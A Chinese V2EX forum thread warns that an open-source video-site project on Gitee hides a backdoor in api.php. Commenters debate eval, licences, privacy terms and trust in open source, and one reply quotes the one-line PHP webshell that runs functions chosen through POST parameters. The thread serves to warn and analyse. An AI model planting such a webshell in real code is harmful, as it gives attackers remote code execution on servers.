• 请不要在回答技术问题时复制粘贴 AI 生成的内容
dzdh
V2EX  ›  程序员

现如今的开源代码请谨慎使用

  •  4
     
  •   dzdh · Nov 12, 2021 · 12754 views
    This topic created in 1817 days ago, the information mentioned may be changed or developed.

    有人问一个开源视频网站代码能不能给帮忙改改

    看了一眼 知乎好家伙

    https://gitee.com/positive-rain-cloud/zy-film-admin/blob/master/public/api.php

    53 replies  •  2021-11-26 16:18:18 +08:00
    holystrike
    holystrike
    Nov 12, 2021❤️1
    1
    够狠
    不过生产环境是要禁用 eval()的
    AoEiuV020
    AoEiuV020
    Nov 12, 2021
    2
    这就可以直说是后门了,假装成漏洞的后门,
    AoEiuV020
    AoEiuV020
    Nov 12, 2021
    3
    好家伙,看错了,这是装都不装,特地上传的后门,
    gabon
    gabon
    Nov 12, 2021 via Android❤️1
    4
    好家伙,看不懂 php ,哪位能解释下😂
    Trim21
    Trim21
    Nov 12, 2021
    5
    这种又放了个原版 Apache-2.0 的 license ,又在 readme 说不让商用的,到底是按 apache 还是说按 readme...
    InDom
    InDom
    Nov 12, 2021
    6
    一句话木马。

    <?php $_POST['a']()$_POST['b'];
    AoEiuV020
    AoEiuV020
    Nov 12, 2021
    7
    不过好歹比闭源好些,公开挂在网上有坑可能像这样被别人发现,闭源的话自己没发现问题就只能被坑了,

    而且这 eval 也太粗暴了吧,我代码下载来解压直接报毒,
    smallyu
    smallyu
    Nov 12, 2021❤️1
    8
    我觉得不是故意的
    djkloop
    djkloop
    Nov 12, 2021 via iPhone
    9
    多了,隐私协议也要注意,


    https://page.xiaojukeji.com/m/ddPage_0CZOoRgq.html
    kaitok
    kaitok
    Nov 12, 2021❤️2
    10
    @gabon 我猜是 post 请求 /public/api 的 a 参数的代码直接执行
    djkloop
    djkloop
    Nov 12, 2021 via iPhone
    11
    1 、对于免费版用户的用户资料,我方享有独家的、全球通用的、永久的、免费的资料许可使用权利(并有权在多个层面对该权利进行再授权),我方有权存储、整理、分析、使用、复制、修订、改写、发布、翻译、分发、执行和展示“您的资料”或制作其派生作品,或以任何形式将“您的资料”纳入其他作品内。

    其中这条就离谱
    AoEiuV020
    AoEiuV020
    Nov 12, 2021 via Android
    12
    @smallyu 我第一眼也以为不是故意的,然而他整个项目都没有功能有调用这个 api.php ,只能认为是故意埋的,
    AoEiuV020
    AoEiuV020
    Nov 12, 2021 via Android
    13
    @djkloop 这就懂了,没有后门的话这一条根本没法实现,
    skiy
    skiy
    Nov 12, 2021❤️3
    14
    国外很多 npm 包经常被爆漏洞或者被黑,但人家是不经意的。但国内这些,不知道是“技术能力”的原因,还是故意为之。或者说对开源协议有什么自己独特的理解。

    比如前段时间闹得沸沸扬扬的 DEDECMS 事件,有很多人推的这个“PbootCMS”
    https://gitee.com/hnaoyun/PbootCMS/blob/3.X/core/basic/Kernel.php

    其实也是用 `eval`。

    我只是好奇这些标榜 `Apache 2` 协议的,然后指定说某个文件不可以修改和破解的。以我的理解:

    “将这个文件解码出来后,然后再将建一个文件保存。不引用它的那个“授权”核心源码,而是引用这个文件。这个样子算所谓“破解”核心源码吗?。或者说,完全把那个文件删掉,再用新的文件来引入。这算是遵循 Apache2 的规范吗?”
    efaun
    efaun
    Nov 12, 2021❤️5
    15
    gitee 上开源的东西我看都不看
    Osk
    Osk
    Nov 12, 2021❤️5
    16
    一直如此, 大家都觉得开源的, 别人会帮我审核代码, 这不, 楼主这就帮我们审核了一次. /狗头保命 /
    Acoffice
    Acoffice
    Nov 12, 2021
    17
    差点以为已经开始投毒了呢
    josexy
    josexy
    Nov 12, 2021
    18
    我看得懂,而且我大受震撼😄
    djkloop
    djkloop
    Nov 12, 2021 via iPhone
    19
    @AoEiuV020 反正代码层面要注意,各方面都要注意,很多都是打着免费开源,在各地方给你留坑。像刚才滴滴那个开源的工具,就离谱。
    skiy
    skiy
    Nov 12, 2021
    20
    @djkloop 其实那个条款是违法的。http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
    第一章第十条:
    “第十条 任何组织、个人不得非法收集、使用、加工、传输他人个人信息,不得非法买卖、提供或者公开他人个人信息;不得从事危害国家安全、公共利益的个人信息处理活动。”第十四、十五条……还有很多条款都很明确了。就怕他们对于“您的信息”的定义为“爱好”等无关信息了。

    新版个人信息保护法很强,就看执行力度的问题了。要是遇到较真的用户,那绝对会一告一个准。可惜,在中国很多人都不喜欢跟法院和律师打交道。(在不涉及政治和制度等“官”层面,这方面法院应该会“公正”一些吧?)
    Kasumi20
    Kasumi20
    Nov 12, 2021❤️23
    21
    gitee 也叫开源, 圈地自萌吗
    nanjingwuyanzu
    nanjingwuyanzu
    Nov 12, 2021
    22
    @Kasumi20 真实奥
    fpure
    fpure
    Nov 12, 2021
    23
    @Kasumi20 确实
    wonderfulcxm
    wonderfulcxm
    Nov 12, 2021 via iPhone
    24
    把 eval 这种危险函数禁用。🙈
    JFZ
    JFZ
    Nov 12, 2021
    25
    这不是一句话木马么
    ijrou
    ijrou
    Nov 12, 2021❤️1
    26
    这是对小白的警告,对开发人员他们也知道防范不了,还不如一开始就埋坑
    adai2
    adai2
    Nov 12, 2021
    27
    666
    crab
    crab
    Nov 13, 2021
    28
    有可能是测试用的 webshell 方式图方便忘记删除,不然留后门没道理这么显眼,完全有隐藏和加密混淆的方式。
    CokeMine
    CokeMine
    Nov 13, 2021 via Android
    29
    这肯定是故意的吧。。
    ericls
    ericls
    Nov 13, 2021 via iPhone
    30
    源代码刚好开放的项目 不等于开源项目
    newsj
    newsj
    Nov 13, 2021
    31
    厉害了
    whywaoxaks
    whywaoxaks
    Nov 13, 2021
    32
    呆萌!
    jones2000
    jones2000
    Nov 13, 2021
    33
    代码都开源了, 自己可以用第 3 放的安防扫描软件扫描代码不就可以了, 不合理的地方自己可以改源码,跟作者有什么关系。开源没有规定不能写 eval()这个函数吧。
    haoliang
    haoliang
    Nov 13, 2021❤️1
    34
    标题打击面太广了,真就“语不惊人死不休”
    westoy
    westoy
    Nov 13, 2021
    35
    @crab

    有的

    中古留后门法, 以前很多站长为了外链放的动网、动易的插件版都会留个重置 admin 的脚本......谁改 powered by 就上去砍他丫的.....php 时代才开始考虑构造上传不严谨+包含漏洞这种复用式的留后门办法.....
    cs419
    cs419
    Nov 13, 2021
    36
    天眼查显示
    https://www.tianyancha.com/company/5005887173
    拉钩 boss 上在招前端呢

    gitee 源码页面 右侧有个仓库举报的按钮
    LING97
    LING97
    Nov 13, 2021
    37
    现如今。。。
    fewok
    fewok
    Nov 13, 2021
    38
    不怕,我们不用 php
    xylophone21
    xylophone21
    Nov 13, 2021
    39
    其实一直不理解,像这种'xx 系统'这种业务层面的开源,其抽象程度真的能满足真实业务场景需求吗? 如果要改, 不是比自己重写还难受?
    qq316107934
    qq316107934
    Nov 13, 2021
    40
    @crab 测试用会故意伪装到 api 下吗?应该起个 test 之类的吧,放 tmp
    Lemeng
    Lemeng
    Nov 13, 2021
    41
    目瞪口呆。。
    magic996
    magic996
    Nov 13, 2021
    42
    xswl 他的测试站点把那个文件删了
    7gugu
    7gugu
    Nov 13, 2021
    43
    @Kasumi20 gitee 怎么就不是开源了?
    48y1951r9G8k7Zou
    48y1951r9G8k7Zou
    Nov 13, 2021❤️1
    44
    这个问题其实是无解的

    但即使你审阅了每行代码并自己编译,你仍然无法保证编译器是可信的

    即使你的编译器是自己写的,你仍然需要用其他(无法信任的)编译器来编译它

    除非这个编译器是你从一段手写的机器码开始,滚雪球式地编译出来

    这样仍然不安全,除非你的 BIOS 、操作系统内核和 Coreutils 等其他工具也是这么编译出来的

    可是这样也不够安全,因为 CPU 是无法信任的,你不知道它是不是会乖乖地执行你告诉它的机器码

    但是好在 x86/arm 指令集是开放的,虽然我们造不了 CPU ,但是可以用 FPGA 模拟。FPGA 的原理相对简单,也有开源的实现,从头造出一个可以信任的 FPGA 并不是特别难。

    好了,现在你手里拿着用 FPGA 模拟的 CPU ,有一个可以在上面跑的手写的编译器,还有用这个编译器编译出来 GNU/Linux ,然后在上面跑开源代码。如果上述的代码你都逐行审阅过,而且保证没有疏漏,这样你就基本能够保证跑的开源代码没有风险了。

    听起来是不是很不现实?没错,在当今的互联网世界,即使我们谁都不愿信任,最终还是要信任某个人。我们数据的隐私和安全,都是从一次次无可奈何的信任开始丢失的。
    flyingyasin
    flyingyasin
    Nov 13, 2021❤️6
    45
    @majula 犯了诡辩论的错误
    sudoy
    sudoy
    Nov 14, 2021❤️1
    46
    @majula 人家楼主说开源代码谨慎使用,并拿出一个例子来。你这倒好,直接用“世间万物皆不可信”谬论来恶心人
    zhlxsh
    zhlxsh
    Nov 14, 2021 via iPhone❤️1
    47
    仓库打不开了已经
    仓库已经被屏蔽,暂时无法正常访问

    屏蔽原因:恶意违规

    你可以 点击这里 查看解决方案
    lfzyx
    lfzyx
    Nov 14, 2021❤️1
    48
    这就是开源的意义啊,你这不是发现了漏洞吗

    闭源的都不会给你发现的机会
    aptx4689
    aptx4689
    Nov 14, 2021
    49
    @majula 滑坡谬误
    pheyer
    pheyer
    Nov 14, 2021
    50
    已经 403 了
    jerryjhou
    jerryjhou
    Nov 14, 2021 via Android
    51
    @skiy 请看新闻
    Q4h7388nR28s95fa
    Q4h7388nR28s95fa
    Nov 19, 2021
    52
    那个开发者删掉后门又重新把代码放出来了!
    Beize
    Beize
    Nov 26, 2021
    53
    实在抱歉,我的疏忽导致的这个问题。
    发布到 gitee 之后,有人留言说发布木马,我们立马查看问题,经查询发现之前买的盲盒系统有后门,导致放到我们公司开发的项目里没有发现。发布到 gitee 的时候 也没有仔细检查。确实是我的失误,挨打就要立正,是我的错误。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   5287 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 99ms · UTC 02:14 · PVG 10:14 · LAX 18:14 · JFK 21:14
    ♥ Do have faith in what you're doing.